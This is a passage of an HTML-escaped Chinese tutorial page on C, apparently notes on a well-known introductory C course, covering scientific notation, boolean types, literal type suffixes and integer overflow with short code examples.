class=\"comment\"\u003e// 123.456 x 10^3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123.456e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ee\u003c/code\u003e后面如果是加号\u003ccode\u003e+\u003c/code\u003e,加号可以省略。注意,科学计数法里面\u003ccode\u003ee\u003c/code\u003e的前后,不能存在空格。\u003c/p\u003e\u003cp\u003e另外,科学计数法的小数部分如果是\u003ccode\u003e0.x\u003c/code\u003e或\u003ccode\u003ex.0\u003c/code\u003e的形式,那么\u003ccode\u003e0\u003c/code\u003e可以省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e0.3E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e.3E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.0E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3.E6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"布尔类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%B8%83%E5%B0%94%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"布尔类型\"\u003e\u003c/a\u003e布尔类型\u003c/h3\u003e\u003cp\u003eC 语言原来并没有为布尔值单独设置一个类型,而是使用整数\u003ccode\u003e0\u003c/code\u003e表示伪,所有非零值表示真。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is true!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e1\u003c/code\u003e,C 语言就认为这个值代表真,从而会执行判断体内部的代码。\u003c/p\u003e\u003cp\u003eC99 标准添加了类型\u003ccode\u003e_Bool\u003c/code\u003e,表示布尔值。但是,这个类型其实只是整数类型的别名,还是使用\u003ccode\u003e0\u003c/code\u003e表示伪,\u003ccode\u003e1\u003c/code\u003e表示真,下面是一个示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003e_Bool\u003c/span\u003e isNormal;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisNormal = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (isNormal)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Everything is OK.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e头文件\u003ccode\u003estdbool.h\u003c/code\u003e定义了另一个类型别名\u003ccode\u003ebool\u003c/code\u003e,并且定义了\u003ccode\u003etrue\u003c/code\u003e代表\u003ccode\u003e1\u003c/code\u003e、\u003ccode\u003efalse\u003c/code\u003e代表\u003ccode\u003e0\u003c/code\u003e。只要加载这个头文件,就可以使用这几个关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdbool.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e flag = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,加载头文件\u003ccode\u003estdbool.h\u003c/code\u003e以后,就可以使用\u003ccode\u003ebool\u003c/code\u003e定义布尔值类型,以及\u003ccode\u003efalse\u003c/code\u003e和\u003ccode\u003etrue\u003c/code\u003e表示真伪。\u003c/p\u003e\u003ch3 id=\"字面量的类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E9%9D%A2%E9%87%8F%E7%9A%84%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"字面量的类型\"\u003e\u003c/a\u003e字面量的类型\u003c/h3\u003e\u003cp\u003e字面量(literal)指的是代码里面直接出现的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003ex\u003c/code\u003e是变量,\u003ccode\u003e123\u003c/code\u003e就是字面量。\u003c/p\u003e\u003cp\u003e编译时,字面量也会写入内存,因此编译器必须为字面量指定数据类型,就像必须为变量指定数据类型一样。\u003c/p\u003e\u003cp\u003e一般情况下,十进制整数字面量(比如\u003ccode\u003e123\u003c/code\u003e)会被编译器指定为\u003ccode\u003eint\u003c/code\u003e类型。如果一个数值比较大,超出了\u003ccode\u003eint\u003c/code\u003e能够表示的范围,编译器会将其指定为\u003ccode\u003elong int\u003c/code\u003e。如果数值超过了\u003ccode\u003elong int\u003c/code\u003e,会被指定为\u003ccode\u003eunsigned long\u003c/code\u003e。如果还不够大,就指定为\u003ccode\u003elong long\u003c/code\u003e或\u003ccode\u003eunsigned long long\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e小数(比如\u003ccode\u003e3.14\u003c/code\u003e)会被指定为\u003ccode\u003edouble\u003c/code\u003e类型。\u003c/p\u003e\u003ch3 id=\"字面量后缀\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E9%9D%A2%E9%87%8F%E5%90%8E%E7%BC%80\" class=\"headerlink\" title=\"字面量后缀\"\u003e\u003c/a\u003e字面量后缀\u003c/h3\u003e\u003cp\u003e有时候,程序员希望为字面量指定一个不同的类型。比如,编译器将一个整数字面量指定为\u003ccode\u003eint\u003c/code\u003e类型,但是程序员希望将其指定为\u003ccode\u003elong\u003c/code\u003e类型,这时可以为该字面量加上后缀\u003ccode\u003el\u003c/code\u003e或\u003ccode\u003eL\u003c/code\u003e,编译器就知道要把这个字面量的类型指定为\u003ccode\u003elong\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,字面量\u003ccode\u003e123\u003c/code\u003e有后缀\u003ccode\u003eL\u003c/code\u003e,编译器就会将其指定为\u003ccode\u003elong\u003c/code\u003e类型。这里\u003ccode\u003e123L\u003c/code\u003e写成\u003ccode\u003e123l\u003c/code\u003e,效果也是一样的,但是建议优先使用\u003ccode\u003eL\u003c/code\u003e,因为小写的\u003ccode\u003el\u003c/code\u003e容易跟数字\u003ccode\u003e1\u003c/code\u003e混淆。\u003c/p\u003e\u003cp\u003e八进制和十六进制的值,也可以使用后缀\u003ccode\u003el\u003c/code\u003e和\u003ccode\u003eL\u003c/code\u003e指定为 Long 类型,比如\u003ccode\u003e020L\u003c/code\u003e和\u003ccode\u003e0x20L\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"number\"\u003e0377L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e z = \u003cspan class=\"number\"\u003e0x7fff\u003c/span\u003eL;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果希望指定为无符号整数\u003ccode\u003eunsigned int\u003c/code\u003e,可以使用后缀\u003ccode\u003eu\u003c/code\u003e或\u003ccode\u003eU\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123U\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eL\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e可以结合使用,表示\u003ccode\u003eunsigned long\u003c/code\u003e类型。\u003ccode\u003eL\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e的大小写和组合顺序无所谓。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e123LU\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于浮点数,编译器默认指定为 double 类型,如果希望指定为其他类型,需要在小数后面添加后缀\u003ccode\u003ef\u003c/code\u003e(float)或\u003ccode\u003el\u003c/code\u003e(long double)。\u003c/p\u003e\u003cp\u003e科学计数法也可以使用后缀。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1.2345e+10\u003c/span\u003eF\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e1.2345e+10\u003c/span\u003eL\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e总结一下,常用的字面量后缀有下面这些。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ef\u003c/code\u003e和\u003ccode\u003eF\u003c/code\u003e:\u003ccode\u003efloat\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003el\u003c/code\u003e和\u003ccode\u003eL\u003c/code\u003e:对于整数是\u003ccode\u003elong int\u003c/code\u003e类型,对于小数是\u003ccode\u003elong double\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003ell\u003c/code\u003e和\u003ccode\u003eLL\u003c/code\u003e:Long Long 类型,比如\u003ccode\u003e3LL\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eu\u003c/code\u003e和\u003ccode\u003eU\u003c/code\u003e:表示\u003ccode\u003eunsigned int\u003c/code\u003e,比如\u003ccode\u003e15U\u003c/code\u003e、\u003ccode\u003e0377U\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003eu\u003c/code\u003e还可以与其他整数后缀结合,放在前面或后面都可以,比如\u003ccode\u003e10UL\u003c/code\u003e、\u003ccode\u003e10ULL\u003c/code\u003e和\u003ccode\u003e10LLU\u003c/code\u003e都是合法的。\u003c/p\u003e\u003cp\u003e下面是一些示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234LL\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234U\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234UL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1234ULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14f\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14L\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"溢出\"\u003e\u003c/a\u003e溢出\u003c/h3\u003e\u003cp\u003e每一种数据类型都有数值范围,如果存放的数值超出了这个范围(小于最小值或大于最大值),需要更多的二进制位存储,就会发生溢出。大于最大值,叫做向上溢出(overflow);小于最小值,叫做向下溢出(underflow)。\u003c/p\u003e\u003cp\u003e一般来说,编译器不会对溢出报错,会正常执行代码,但是会忽略多出来的二进制位,只保留剩下的位,这样往往会得到意想不到的结果。所以,应该避免溢出。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e255\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = x + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e加\u003ccode\u003e1\u003c/code\u003e,得到的结果不是\u003ccode\u003e256\u003c/code\u003e,而是\u003ccode\u003e0\u003c/code\u003e。因为\u003ccode\u003ex\u003c/code\u003e是\u003ccode\u003eunsign char\u003c/code\u003e类型,最大值是\u003ccode\u003e255\u003c/code\u003e(二进制\u003ccode\u003e11111111\u003c/code\u003e),加\u003ccode\u003e1\u003c/code\u003e后就发生了溢出,\u003ccode\u003e256\u003c/code\u003e(二进制\u003ccode\u003e100000000\u003c/code\u003e)的最高位\u003ccode\u003e1\u003c/code\u003e被丢弃,剩下的值就是\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e再看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ui = UINT_MAX; \u003cspan class=\"comment\"\u003e// 4,294,967,295\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eui++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ui = %u\\n\u0026#34;\u003c/span\u003e, ui); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eui--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ui = %u\\n\u0026#34;\u003c/span\u003e, ui); \u003cspan class=\"comment\"\u003e// 4,294,967,295\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,常量\u003ccode\u003eUINT_MAX\u003c/code\u003e是 unsigned int 类型的最大值。如果加\u003ccode\u003e1\u003c/code\u003e,对于该类型就会溢出,从而得到\u003ccode\u003e0\u003c/code\u003e;而\u003ccode\u003e0\u003c/code\u003e是该类型的最小值,再减\u003ccode\u003e1\u003c/code\u003e,又会得到\u003ccode\u003eUINT_MAX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e溢出很容易被忽视,编译器又不会报错,所以必须非常小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = n; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; --i) \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码表面看似乎没有问题,但是循环变量\u003ccode\u003ei\u003c/code\u003e的类型是 unsigned int,这个类型的最小值是\u003ccode\u003e0\u003c/code\u003e,不可能得到小于0的结果。当\u003ccode\u003ei\u003c/code\u003e等于0,再减去\u003ccode\u003e1\u003c/code\u003e的时候,并不会返回\u003ccode\u003e-1\u003c/code\u003e,而是返回 unsigned int 